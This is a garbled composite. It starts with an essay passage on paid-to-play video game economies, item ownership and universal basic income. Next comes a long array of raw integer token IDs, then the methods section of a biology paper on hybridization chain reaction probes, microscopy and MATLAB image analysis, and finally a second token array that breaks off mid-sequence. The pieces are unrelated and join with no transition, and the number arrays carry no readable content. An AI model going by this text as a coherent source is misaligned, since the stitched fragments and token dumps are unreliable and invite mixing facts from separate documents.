should even be free to import their items from one game into another. In Players for Hire, Ed predicts that real value will be introduced into gameplay via a paid-to-play model, whereby game designers, in an effort to attract big spenders, will pay players to participate in their virtual worlds via Player Retention Incentives (PRIs). This would effectively introduce a meta-economy to a game, in which players will have to decide: are they more concerned with consuming in-game content (playing) or earning PRIs (working). Naturally, popular games would have a surplus supply of players. Low-skill workers — who are the most desperate to earn a living in virtual economies — would be driven to play the least popular games because designers of popular games would realize they no longer need to pay players. If <0.25% of players make more than half of all in-game purchases, then designers would only be incentivized to pay a certain number of players to play until the number of players no longer significantly impacts how much revenue the game generates. If they pay too many players, they will lose money. Designers would realize a point of diminishing returns in the paid-to-play model. It is, however, only a point of diminishing returns in the meta-economy; not the in-game economy, itself. Metcalfe’s Law would suggest that the in-game economy would actually continue to increase in value as more players participate. The more players, the more possibilities exist for in-game industry and trade. With true ownership, players could earn a living without relying on the payment from a single centralized entity, like the game designers. If designers aligned their business model so their profitability grew proportionate to the in-game economy, then they would never hit the point of diminishing returns with respect to user adoption — they could grow their user-base ad infinitum. And if they were able to align their model so players benefitted from the growth of the in-game economy, as well, then users could play their favorite game and earn a living at the same time. One method of achieving alignment through growth is by enabling true ownership within a game. If a player purchased an in-game item, such as a sword, the studio would immediately generate revenue. But if that player truly owned his or her sword, and if the game grew in popularity over time, then that player would be able to sell their sword at a later date — possibly for a profit. This would be comparable to buying a home in a thriving city. Players could engage in endless types of exchange. The sword owner, for example, could rent the sword to other players while on vacation or at work to earn passive income. Publishers could leverage these exchanges, as well, to unlock countless mechanisms to generate revenue. Every time the sword is traded — even on secondary markets — they could extract a minimal fee. Alternatively, they could choose to only extract a fee if the player generates a profit on the trade; if the sword sells for less than it was bought, the exchange is cleared pro bono. Before the game is launch, designers could even set aside a large, personal reserve of loot to hodl, which would only become valuable if players began trading with it. The alignment of true ownership ensures both players and designers generate a profit together when a game increases in popularity. Universal Basic Income Definition There are various suggestions for how Universal Basic Income (UBI) could be implemented, but in theory UBI is a type of welfare program in which all participants of a particular economy or society are granted a minimum, unconditional wage. If low-skilled workers are going to depend upon video games as a primary source of income, then it is worth considering the option of installing something like a UBI within a game’s virtual economy as a mechanism of securing players’ futures. Unfortunately, it’s difficult to identify any current, functional examples of UBI because they are nearly all conditional in some way. The Alaska Permanent Fund is probably the most famous example of a guaranteed income, whereby all residents of Alaska are ensured a regular annual payout, which has been between $1,000 and $2,000 per year for the last decade. The money used to guarantee the fund comes from a 25% tax on the state’s oil production. In other words, residents earn a dividend based on a scarce resource. It’s not exactly a livable wage for someone in a developed nation, but it is an example of guaranteed income, nonetheless. The fund has been in place since 1982. It is tempting, then, to say that UBI is perhaps a bit of a misnomer. Alaska’s Permanent Fund is arguably the most successful and longest running program that simulates something

[ 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 1010, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 1884, 6, 10304, 24389, 6391, 313, 43687, 20174, 10, 369, 908, 323, 24389, 3560, 407, 577, 6806, 1458, 1222, 14841, 387, 5345, 3272, 36, 342, 1884, 6, 10304, 14841, 6391, 313, 43687, 20174, 481, 1198, 19432, 342, 1384, 12303, 35375, 2919, 13, 275, 253, 5928, 273, 7324, 313, 70, 15, 72, 15, 544, 1470, 15, 721, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 884, 6, 24389, 6391, 313, 681, 7334, 273, 884, 6, 830, 15320, 13, 884, 6, 1605, 633, 4011, 322, 5773, 366, 285, 374, 57, 322, 4061, 275, 5771, 339, 14, 14344, 1824, 10, 369, 908, 323, 13463, 24389, 13, 3560, 407, 374, 6806, 1884, 1222, 14841, 275, 1884, 6, 830, 15320, 13, 374, 57, 322, 4061, 13, 285, 470, 15, 18, 6, 39776, 14, 57, 2233, 13, 387, 2316, 3276, 15, 2635, 13, 846, 1264, 4864, 369, 1041, 342, 608, 57, 13575, 1647, 387, 2316, 3276, 13, 7118, 497, 10729, 342, 17442, 6391, 323, 1384, 2909, 13, 534, 369, 840, 7932, 407, 17442, 6391, 4508, 14496, 27336, 16094, 314, 13130, 4707, 45154, 313, 43687, 20174, 582, 1016, 387, 3925, 26130, 15, 2732, 581, 4964, 15685, 275, 253, 3644, 387, 2316, 3276, 13, 6714, 4707, 45154, 497, 5176, 407, 2620, 369, 1041, 342, 608, 57, 13575, 1647, 689, 581, 4964, 15, 40987, 369, 2879, 281, 253, 2626, 14841, 281, 5203, 15935, 15, 187, 187, 2214, 3530, 326, 2424, 760, 581, 3790, 273, 24389, 313, 70, 15, 72, 15, 544, 1470, 15, 608, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 38, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 9471, 24389, 23462, 497, 5176, 387, 436, 1127, 285, 7118, 497, 10877, 275, 23231, 66, 14, 16285, 313, 1047, 14, 23850, 14, 22, 28, 44207, 15317, 10, 285, 4934, 275, 253, 3644, 387, 577, 3272, 36, 1919, 6979, 15, 1198, 2709, 16334, 273, 24389, 13, 608, 57, 13575, 1647, 369, 7932, 342, 3270, 14, 934, 5250, 6391, 3951, 51, 1036, 3725, 313, 1235, 9831, 27989, 14, 37499, 8487, 854, 15, 17, 13, 7469, 9831, 22748, 13, 374, 57, 3528, 36, 13, 495, 9831, 308, 1102, 1004, 313, 6199, 374, 25085, 1012, 582, 470, 15, 25, 6, 399, 14, 40119, 313, 6199, 443, 1976, 1619, 582, 2233, 14, 8089, 21042, 17684, 511, 313, 6199, 330, 20, 15054, 582, 470, 15, 22, 5770, 16, 8316, 4051, 44612, 36519, 313, 6199, 443, 19, 14380, 10, 285, 470, 15, 2640, 530, 16, 8316, 9242, 10810, 511, 496, 46034, 49512, 2081, 313, 29166, 5208, 1731, 3953, 1228, 285, 3530, 497, 35014, 347, 2529, 2708, 15, 2732, 6979, 13, 3270, 14, 934, 5250, 6391, 369, 11974, 806, 342, 608, 57, 13575, 1647, 285, 840, 342, 337, 89, 26688, 511, 309, 6391, 313, 40375, 7543, 18146, 1619, 2874, 10, 275, 3325, 511, 1959, 1824, 15, 1294, 12133, 285, 388, 1311, 4707, 45154, 497, 840, 38780, 407, 495, 3038, 273, 15685, 342, 26688, 511, 309, 2900, 313, 19, 54, 16, 31550, 273, 253, 9548, 275, 337, 89, 6391, 10, 387, 5345, 3272, 36, 323, 495, 3038, 15, 24083, 13, 253, 3530, 497, 11974, 1264, 2069, 342, 638, 14, 7523, 1314, 1884, 6, 14841, 6391, 387, 5345, 3272, 36, 313, 7053, 767, 369, 1041, 323, 608, 1054, 1016, 285, 253, 2626, 14841, 323, 1458, 1054, 481, 8035, 3790, 273, 24389, 285, 388, 1311, 369, 840, 2684, 347, 2529, 1840, 15, 187, 187, 3351, 2977, 15, 1712, 52, 1093, 94, 187, 397, 187, 187, 10772, 4466, 3530, 497, 35014, 327, 247, 17250, 251, 32472, 15984, 28483, 11348, 17199, 342, 247, 1503, 46877, 577, 15, 19, 256, 5883, 2697, 6568, 313, 1898, 263, 481, 844, 908, 247, 3925, 57, 4166, 8103, 313, 18, 15, 21, 10566, 10, 285, 9288, 1384, 1182, 14, 296, 7305, 342, 470, 15, 22, 39436, 22735, 875, 731, 323, 1016, 1899, 15, 26598, 84, 497, 6777, 12718, 1754, 327, 40987, 5048, 281, 3693, 8492, 15, 33034, 7533, 13, 1690, 253, 5445, 2069, 13, 497, 4934, 253, 1072, 323, 512, 253, 4679, 7668, 13637, 1341, 15, 39218, 7118, 497, 35014, 2057, 13, 970, 1503, 1400, 374, 15, 20, 313, 11863, 11166, 582, 327, 247, 7728, 739, 418, 6955, 10695, 29478, 17199, 342, 247, 3387, 57, 313, 32462, 739, 337, 15, 19, 10566, 582, 1824, 34729, 8103, 2470, 1470, 15, 608, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 38, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 9471, 390, 13, 970, 30680, 46, 4048, 13, 327, 247, 17250, 251, 32472, 15984, 28483, 17199, 13, 13496, 342, 247, 714, 536, 462, 11415, 330, 6971, 14, 56, 24428, 1262, 3943, 313, 1898, 263, 10, 285, 271, 16133, 2648, 37, 6568, 313, 1898, 263, 891, 57, 251, 34809, 582, 970, 247, 3387, 57, 313, 39104, 251, 337, 15, 20, 10566, 10, 4166, 8103, 2470, 30155, 15, 721, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 1010, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 7547, 390, 247, 3925, 57, 313, 39104, 251, 337, 15, 21, 10566, 10, 4166, 8103, 2470, 1470, 15, 608, 39, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 380, 1072, 6979, 4758, 369, 908, 323, 2905, 3530, 281, 12454, 5301, 875, 3888, 15, 187, 187, 6586, 1783, 15, 1712, 52, 746, 94, 187, 11311, 187, 187, 30128, 497, 11742, 285, 5867, 970, 26572, 29317, 285, 401, 27520, 3951, 51, 2358, 18413, 7194, 407, 2840, 20477, 326, 403, 2130, 1060, 15, 1198, 894, 4466, 4679, 13, 4869, 7133, 12378, 273, 253, 9305, 3888, 497, 908, 275, 512, 6260, 15, 187, 187, 4118, 19655, 16977, 15, 1712, 52, 938, 94, 187, 187, 23083, 16977, 273, 15935, 285, 20200, 369, 2218, 8356, 275, 26572, 29317, 407, 19690, 285, 7887, 272, 273, 253, 3888, 15, 1723, 13, 253, 1543, 497, 13542, 36560, 281, 5416, 7200, 15, 19655, 16977, 273, 15935, 369, 2218, 1754, 327, 2057, 330, 7073, 2470, 18877, 337, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 4982, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 4982, 544, 20, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 4982, 544, 22, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 616, 2905, 24864, 8442, 10, 390, 40987, 2470, 30155, 15, 577, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 4982, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 4982, 285, 544, 52, 25, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 883, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 7547, 5048, 15, 2091, 4623, 281, 253, 1783, 313, 70, 15, 72, 15, 323, 6733, 10426, 10, 30833, 48456, 15935, 497, 13542, 3636, 285, 5176, 432, 253, 1783, 15, 20049, 2670, 20200, 497, 2783, 281, 5663, 281, 247, 894, 604, 616, 4055, 48955, 342, 253, 6069, 26405, 273, 326, 894, 15, 187, 187, 4118, 4458, 2741, 6814, 15, 1712, 52, 1797, 94, 187, 187, 1145, 6642, 273, 14261, 7133, 13, 908, 323, 544, 18877, 577, 38, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 4982, 544, 22, 40, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 52, 19, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 544, 52, 1036, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 52, 1093, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 285, 544, 52, 25, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 805, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 369, 2797, 407, 9554, 273, 12275, 26112, 689, 1016, 14261, 434, 8223, 15, 329, 625, 10799, 2557, 273, 14261, 7133, 3951, 51, 2090, 3725, 369, 908, 323, 544, 18877, 495, 37, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 24, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 534, 369, 1754, 327, 13532, 247, 374, 37, 14299, 281, 1016, 14261, 434, 18748, 12275, 7133, 2193, 285, 18899, 253, 4644, 762, 253, 2553, 273, 253, 14299, 15, 187, 187, 4118, 2065, 3100, 1320, 15, 1712, 52, 1423, 94, 187, 187, 2973, 3100, 1320, 273, 20200, 369, 3636, 1754, 327, 2810, 18326, 313, 1417, 685, 577, 15115, 10, 273, 253, 4055, 273, 48456, 20200, 275, 767, 390, 625, 8123, 15, 187, 187, 4118, 35628, 15, 1712, 52, 1508, 94, 187, 187, 2214, 2014, 18379, 5481, 13, 835, 1740, 19432, 15639, 323, 253, 1072, 2303, 2670, 2470, 30155, 15, 495, 37, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 24, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 281, 9212, 247, 18379, 281, 1016, 14261, 13, 253, 3626, 2412, 273, 7133, 2193, 323, 326, 14261, 275, 1016, 5048, 497, 12650, 23352, 875, 470, 285, 337, 13, 970, 253, 7133, 2193, 432, 512, 253, 20200, 5189, 275, 326, 5048, 2439, 253, 3368, 15, 380, 18379, 2330, 342, 253, 5048, 326, 574, 253, 4585, 12650, 7133, 369, 840, 7922, 281, 253, 14261, 15, 9368, 272, 253, 2613, 1407, 953, 2470, 1470, 15, 577, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 986, 285, 697, 2905, 24864, 8442, 10, 347, 973, 347, 329, 285, 443, 9162, 475, 249, 8427, 11, 2470, 30155, 15, 608, 40, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 805, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 369, 2218, 407, 17524, 3626, 2412, 273, 7133, 2193, 275, 767, 2390, 970, 465, 14, 30799, 17524, 342, 7349, 460, 4181, 7982, 313, 76, 30799, 1159, 13, 26572, 29317, 481, 187, 187, 4118, 39927, 15, 1712, 52, 1348, 94, 187, 187, 30128, 273, 36225, 19630, 53, 1341, 811, 23747, 407, 253, 38183, 9907, 6335, 497, 9856, 8523, 1754, 327, 330, 7073, 5048, 13, 970, 12650, 2831, 14, 39305, 1332, 15, 329, 625, 22407, 12960, 369, 840, 6786, 13, 970, 475, 303, 1747, 85, 630, 11, 1159, 275, 26572, 29317, 13, 1754, 327, 20200, 3969, 281, 1027, 12955, 6887, 13, 10159, 273, 616, 16094, 5048, 13, 285, 970, 253, 330, 7073, 12960, 347, 253, 3302, 9261, 15, 187, 187, 21214, 1783, 15, 1712, 52, 1099, 94, 187, 22873, 187, 187, 3074, 4679, 497, 2684, 275, 2709, 5799, 24945, 13, 347, 4860, 275, 253, 2505, 285, 4677, 38209, 15, 36797, 1491, 10426, 275, 544, 2841, 322, 20, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 497, 2684, 347, 3786, 2529, 3951, 51, 1967, 18413, 407, 18918, 28208, 820, 14, 6790, 1320, 273, 2534, 30968, 275, 45421, 1341, 2439, 1264, 24945, 15, 25487, 13, 12650, 15577, 1491, 313, 263, 11649, 10235, 582, 530, 13, 875, 767, 2534, 30968, 13, 1269, 285, 340, 13, 310, 2931, 347, 370, 54, 9, 89, 393, 7893, 340, 10, 426, 393, 1124, 92, 41, 9, 89, 10, 428, 388, 9, 89, 393, 7893, 340, 9783, 41, 9, 89, 29119, 835, 388, 310, 253, 15579, 5118, 407, 253, 7212, 370, 41, 426, 428, 393, 2204, 578, 74, 426, 337, 1990, 42, 94, 81, 578, 74, 8633, 43321, 9, 81, 578, 74, 17137, 1876, 9990, 285, 5216, 403, 2529, 4751, 275, 253, 2505, 390, 4677, 13691, 15, 187, 187, 3233, 11659, 15, 1712, 52, 1731, 94, 187, 22928, 187, 187, 3233, 326, 403, 417, 2908, 275, 253, 2929, 403, 2130, 387, 654, 3614, 1358, 2203, 15, 1179, 17556, 15, 13808, 16, 46622, 16, 1012, 2941, 31, 16616, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 1423, 4699, 16, 37, 18, 15, 1012, 2941, 22226, 390, 432, 253, 3969, 2488, 15, 187, 187, 6124, 11659, 15, 1712, 52, 1630, 94, 187, 22928, 187, 187, 9026, 84, 323, 512, 6260, 3559, 275, 436, 2929, 403, 2130, 387, 654, 3614, 1358, 2203, 15, 1179, 17556, 15, 13808, 16, 46622, 16, 1012, 2941, 31, 16616, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 1423, 4699, 16 ]

B](#F5){ref-type="fig"} and [S15](#SD1){ref-type="supplementary-material"}), 30% probe hybridization buffer (Molecular Technologies) was used for hybridization followed by 4 × 15min wash at 37°C with 30% probe wash buffer (Molecular Technologies). For probes with 20bp annealing region, in the absence of competition (e.g. [Fig. 6](#F6){ref-type="fig"}), 10% hybridization buffer (composed of 10% formamide, 10% Dextran Sulfate and 2X SSC in RNAse-Free water) was used for overnight hybridization, followed by 2 × 30min wash in 30% formamide, 2X SSC, and 0.1% Triton-X 100, at room temperature. Then, after three brief washes with 5X SSCT at room temperature, sections were incubated with amplification buffer for 20 minutes, which was then replaced by amplification buffer containing snap cooled fluorescently labeled hairpins (Molecular Technologies), each at 60μM. After one hour incubation in the dark at room temperature, excess hairpins were removed by five washes with 5X SSCT over one hour. DAPI was added to the third wash to label nuclei. For samples that required only one round of hybridization (e.g. [Fig. 5B](#F5){ref-type="fig"}-[E](#F5){ref-type="fig"}), hybridization chambers were removed at this point and sections were mounted in Aqua-mount (14-390-5; Thermo Scientific) and kept in the dark at 4°C until imaging. For multiple rounds of hybridization, 5X SSCT was replaced with anti-bleaching buffer^[@R16]^ (50 mM Tris-HCl pH 8.0, 300 mM NaCl, 2XSSC, 3 mM Trolox (Sigma 238813), 0.8% D-glucose (Sigma G7528), 100-fold diluted Catalase (Sigma C3155), 0.5 mg/mL Glucose oxidase (Sigma G2133) and 0.02 U/mL SUPERase In RNase Inhibitor (Invitrogen AM2694)) and samples were imaged as described below. After imaging, anti-bleaching buffer was washed first with 5X SSCT and then with 1x DNase I buffer (Roche 4716728001) in nuclease free water. Probes and HCR hairpins were then digested by 3 hours of incubation with DNase I solution (2U/μl of the enzyme in 1x buffer) at 37°C for 3 hours. Subsequently, the samples were washed three times with pre-warmed 30% wash buffer at 37°C (first two washes for 5 min each and the third wash for 15 min). Another round of hybridization and HCR was then performed as described above. Imaging. {#S18} -------- Cell culture samples were imaged on a Nikon Eclipse Ti inverted fluorescence microscope with a Zyla 4.2 sCMOS camera (Andor). We used a 60X oil objective (1.4 NA) and acquired 20 z-stacks with 0.5 micron spacing between them for each position. Positions were chosen solely based on DAPI channel to avoid bias. Imaging settings, including the exposure times, were kept the same for all the experiments involving cultured cells. Tissue sections were imaged either, using ZEN 2.3 (blue edition), on a Zeiss LSM800 confocal microscope with a 40X (Zeiss 1.2 NA), water immersion objective ([Fig. 5B](#F5){ref-type="fig"}-[E](#F5){ref-type="fig"}), or, using MetaMorph, on a Nikon Eclipse Ti inverted microscope, equipped with a Yokogawa CSU-W spinning disc unit (Andor) and an EMCCD camera (Andor iXon Ultra), using a 40X (Nikon 1.3 NA) oil objective ([Figs. 6](#F6){ref-type="fig"} and [S15](#SD1){ref-type="supplementary-material"}) or a 60X (Nikon 1.4 NA) oil objective ([Fig. 5F](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"}). The same imaging setting was used for related samples to facilitate comparison between images. Image analysis. {#S19} --------------- Images were processed and analyzed using MATLAB and Fiji^[@R68]^, mainly by custom scripts that are available here. For cell culture experiments, maximum intensity projection of the raw images were used in all analyses. ### Segmentation. {#S20} Segmentation of nuclei and dots was done automatically in MATLAB by filtering and thresholding of the images. However, the results were manually inspected to ensure accuracy. Segmentation of nuclei was done based on either CFP ([Figures 1](#F1){ref-type="fig"}, [2](#F2){ref-type="fig"}, [3](#F3){ref-type="fig"}, [5](#F5){ref-type="fig"} and their related supplementary figures) or DAPI ([Figs. 4](#F4){ref-type="fig"}, [6](#F6){ref-type="fig"}, and [S8](#SD1){ref-type="supplementary-material"}-[11](#SD1){ref-type="supplementary-material"}) channel. When relevant to the analysis (e.g. for efficiency calculations) incorrectly segmented nuclei were manually identified and removed from the analysis. Active site dots were considered to belong to a cell if their center overlapped with the nuclear segmentation of that cell. ### Intensity measurement. {#S21} An estimate of dot intensity, used for [Figures 4E](#F4){ref-type="fig"}, [5G](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"}, [S2](#SD1){ref-type="supplementary-material"}, [S16](#SD1){ref-type="supplementary-material"}-[S18](#SD1){ref-type="supplementary-material"}, and [S8](#SD1){ref-type="supplementary-material"}-[12](#SD1){ref-type="supplementary-material"} was obtained by integration of pixel intensities over each dot's segment. A more precise measure of dot intensity^[@R69]^ was used for [Figures 3D](#F3){ref-type="fig"} and [S7](#SD1){ref-type="supplementary-material"}, which was based on fitting a 2D Gaussian to each dot's filtered pixel intensity values and calculating the volume under the surface of the Gaussian. ### Colocalization. {#S22} Colocalization of dots was identified based on close proximity (less than 4 pixels) of the center of segmented dots in two or more channels. ### Classification. {#S23} For single nucleotide detection, where four probes compete for the same target site ([Figs. 3D](#F3){ref-type="fig"} and [S7](#SD1){ref-type="supplementary-material"}), to assign a nucleotide to each dot, the natural log of intensity values for that dot in each channel were normalized linearly between 0 and 1, using the intensity values from all the dots detected in that channel across the experiment. The nucleotide associated with the channel that had the highest normalized intensity was then assigned to the dot. Calling the base edits ([Fig. 4](#F4){ref-type="fig"} and its related supplementary figures) as well as A and G classification *in vivo* ([Figs. 5G](#F5){ref-type="fig"}-[H](#F5){ref-type="fig"} and [S12](#SD1){ref-type="supplementary-material"}), was done by clustering natural log of intensity values in two groups using k-means clustering with cosine distance metric (kmeans function, MATLAB). ### Registration. {#S24} Images of HEK293T cells transduced by the combinatorial viral library were registered initially based on CFP channel, using normalized cross-correlation method. A more refined registration was then achieved, using *imregtform* function in MATLAB, based on dots corresponding to different variant positions, regardless of their fluorescent channel, and using the CFP registration as the initial transformation. Statistical analysis. {#S25} --------------------- All experiments were performed in multiple distinct replicates, as indicated in the text and figure legends. Mutual information calculations in [Figure S3](#SD1){ref-type="supplementary-material"} were performed as previously described^[@R70]^, by analyzing pairwise co-localization of barcodes in 564 cells across three replicates. Briefly, normalized mutual information (or uncertainty coefficient), U, between two barcodes, x and y, is defined as $U(x \mid y) = \frac{H(x) - H(x \mid y)}{H(x)}$, where H is the entropy calculated by the formula $H = - \sum_{i = 1}^{I}p_{i}\, ln(p_{i})$. All statistics and tests are described fully in the text or figure legend. Data availability. {#S26} ------------------ Data that are not included in the paper are available at <https://data.caltech.edu/records/1303> (<https://doi.org/10.22002/D1.1303>) or from the corresponding author. Code availability. {#S27} ------------------ Scripts for all analyses presented in this paper are available at <https://data.caltech.edu/records/1303> (<https://doi.org/10.22002/

[ 739, 3927, 15, 831, 369, 5635, 965, 90, 1757, 457, 84, 806, 4544, 13, 533, 344, 556, 1669, 642, 187, 15793, 273, 352, 15, 187, 187, 8389, 1273, 9455, 369, 281, 2652, 528, 66, 13, 275, 1668, 1449, 13, 342, 253, 2395, 273, 534, 187, 248, 764, 2979, 521, 1273, 4644, 15, 831, 9455, 344, 42201, 13, 2366, 187, 3113, 690, 3858, 13, 1293, 521, 3392, 457, 84, 7578, 13, 285, 1907, 11580, 187, 455, 253, 45731, 13, 41650, 13, 15039, 10999, 13, 285, 1345, 16771, 13, 344, 4895, 281, 187, 29080, 249, 879, 13, 835, 344, 369, 973, 2959, 407, 521, 3392, 15, 187, 187, 688, 253, 5068, 273, 1720, 4193, 14, 335, 14, 1173, 652, 344, 873, 562, 327, 521, 2626, 9455, 13, 187, 4609, 369, 281, 12951, 297, 7366, 15, 1623, 521, 1091, 344, 11580, 253, 2604, 18508, 457, 18708, 13, 187, 395, 7244, 387, 46329, 879, 247, 1770, 846, 344, 574, 1669, 352, 15, 187, 187, 44, 292, 9435, 75, 1950, 38900, 367, 1757, 1200, 1757, 1907, 644, 11162, 281, 253, 2208, 273, 187, 53, 21363, 1988, 615, 13, 344, 1160, 521, 1711, 3331, 13, 5635, 965, 90, 1757, 457, 84, 3392, 13, 521, 5570, 187, 255, 46329, 879, 13, 285, 2335, 5635, 965, 90, 1757, 2112, 342, 779, 15, 1583, 1669, 187, 29080, 249, 879, 275, 253, 5068, 273, 1720, 4193, 14, 335, 14, 1757, 17616, 343, 13, 285, 20311, 281, 187, 53, 21363, 1988, 615, 13, 8852, 272, 407, 611, 832, 3612, 13, 4058, 6929, 66, 13, 3052, 515, 3525, 13, 16495, 1714, 13, 19547, 19664, 13, 285, 187, 44, 379, 1665, 15, 4325, 9847, 67, 1988, 615, 344, 369, 6960, 281, 8041, 253, 795, 91, 358, 13156, 2788, 348, 19637, 64, 187, 9, 12583, 293, 14, 435, 21347, 10, 273, 443, 9409, 281, 253, 33758, 273, 13063, 729, 275, 884, 3712, 15, 754, 20311, 187, 28694, 253, 40661, 273, 253, 5418, 11936, 949, 253, 2586, 273, 253, 3506, 1757, 4019, 13, 187, 783, 2892, 285, 5740, 273, 534, 830, 253, 954, 4722, 629, 273, 187, 12018, 965, 90, 1757, 457, 84, 24376, 15, 380, 18500, 33781, 323, 13063, 729, 4925, 743, 24470, 13515, 187, 6438, 253, 13024, 273, 5635, 965, 90, 1757, 15, 754, 4745, 13308, 2220, 253, 17747, 13, 187, 13569, 1950, 20699, 404, 367, 1757, 1200, 1757, 13, 665, 2959, 779, 715, 521, 18880, 13, 285, 4845, 779, 327, 187, 4697, 253, 5918, 2205, 273, 521, 1058, 5801, 90, 1757, 15, 1583, 33497, 323, 13063, 729, 327, 253, 1249, 394, 273, 187, 2809, 66, 457, 67, 9435, 15, 5635, 965, 90, 1757, 369, 1246, 387, 253, 33758, 13, 534, 1146, 28008, 13, 369, 187, 42750, 13, 285, 344, 11704, 253, 28887, 26805, 15858, 9435, 457, 84, 8544, 13, 534, 4895, 281, 253, 187, 14201, 553, 66, 407, 2659, 15, 2058, 378, 21762, 518, 77, 1757, 6156, 344, 48053, 323, 46329, 879, 13, 533, 369, 187, 88, 17456, 264, 13, 285, 18993, 342, 760, 767, 20086, 562, 273, 253, 1142, 5207, 344, 574, 187, 2052, 2231, 275, 521, 24376, 949, 3506, 1757, 4019, 285, 46095, 1661, 571, 15, 754, 369, 13044, 327, 187, 783, 8852, 273, 611, 1031, 376, 13, 40689, 344, 20311, 281, 46329, 879, 15, 187, 187, 688, 884, 2417, 313, 1036, 1857, 10, 253, 18500, 369, 14662, 562, 13, 347, 369, 3839, 11267, 9698, 13, 323, 187, 266, 26018, 1411, 47832, 13, 285, 5635, 965, 90, 1757, 48053, 327, 4450, 253, 6215, 273, 187, 783, 8040, 438, 9435, 367, 1757, 1200, 1757, 13, 714, 6187, 84, 2375, 367, 1757, 1200, 1757, 13, 275, 253, 5350, 273, 795, 46, 1954, 11105, 249, 14, 67, 1757, 1200, 1950, 4414, 60, 20, 62, 187, 510, 26018, 13, 2299, 13, 1907, 14435, 387, 253, 3010, 66, 13, 8423, 3531, 187, 20026, 30011, 571, 13, 835, 5635, 965, 90, 1757, 369, 1246, 387, 253, 5141, 273, 253, 19887, 273, 187, 998, 15, 46942, 2771, 13, 285, 253, 33758, 273, 330, 1351, 66, 28, 846, 534, 344, 11612, 2067, 187, 46659, 37390, 621, 281, 18363, 2056, 571, 285, 1023, 7564, 4173, 15, 535, 544, 20, 62, 795, 15155, 11105, 249, 14, 67, 1757, 1200, 1950, 7481, 253, 7015, 273, 253, 354, 7041, 398, 273, 24861, 15, 187, 187, 2374, 521, 1091, 281, 46329, 879, 344, 1160, 16669, 323, 521, 15515, 187, 19923, 2191, 13, 342, 1605, 699, 69, 26805, 1503, 1757, 615, 73, 36250, 367, 1757, 1200, 1757, 13, 665, 369, 387, 326, 673, 187, 40364, 14176, 273, 8024, 8260, 6187, 78, 13, 285, 5207, 5635, 965, 90, 1757, 11704, 347, 21334, 187, 1171, 253, 2840, 14, 5967, 387, 8024, 8260, 6187, 78, 15, 7160, 7622, 2242, 949, 12951, 297, 7366, 13, 187, 52, 23818, 6362, 13, 378, 32250, 1950, 13, 308, 6187, 84, 571, 13, 3052, 7766, 571, 13, 427, 1950, 72, 19637, 26805, 13, 285, 597, 4925, 8024, 8260, 6187, 78, 13, 187, 30819, 1160, 28089, 8661, 15, 35775, 16906, 253, 367, 1757, 1200, 1757, 2197, 779, 327, 247, 187, 2230, 281, 253, 15858, 9435, 273, 19660, 42360, 91, 13, 342, 247, 1859, 281, 12454, 247, 6264, 187, 2388, 17406, 15, 831, 369, 5635, 965, 90, 1757, 457, 84, 806, 9455, 715, 10400, 571, 15, 1623, 521, 1039, 187, 248, 11580, 17218, 348, 78, 13306, 249, 13, 427, 18980, 45627, 9435, 13, 285, 3189, 5047, 28, 285, 4895, 407, 41686, 9435, 13, 187, 21419, 25206, 1950, 77, 13, 444, 1069, 9435, 13, 25958, 6187, 13, 12658, 67, 423, 13, 611, 45801, 384, 13, 253, 8342, 273, 39293, 7341, 9435, 13, 285, 253, 187, 4371, 560, 273, 14181, 73, 1950, 32518, 15, 13728, 1897, 846, 344, 369, 969, 711, 4066, 2147, 281, 444, 1069, 9435, 13, 187, 251, 10884, 432, 534, 344, 30974, 521, 12803, 387, 253, 2840, 14, 5967, 15, 754, 187, 4238, 13, 2299, 13, 28438, 11371, 13, 672, 253, 367, 1757, 1200, 1757, 2197, 779, 327, 247, 7517, 281, 187, 783, 14176, 273, 253, 5003, 75, 8765, 273, 500, 9435, 6362, 285, 35472, 6187, 78, 13, 275, 1340, 281, 4822, 187, 783, 10824, 534, 574, 644, 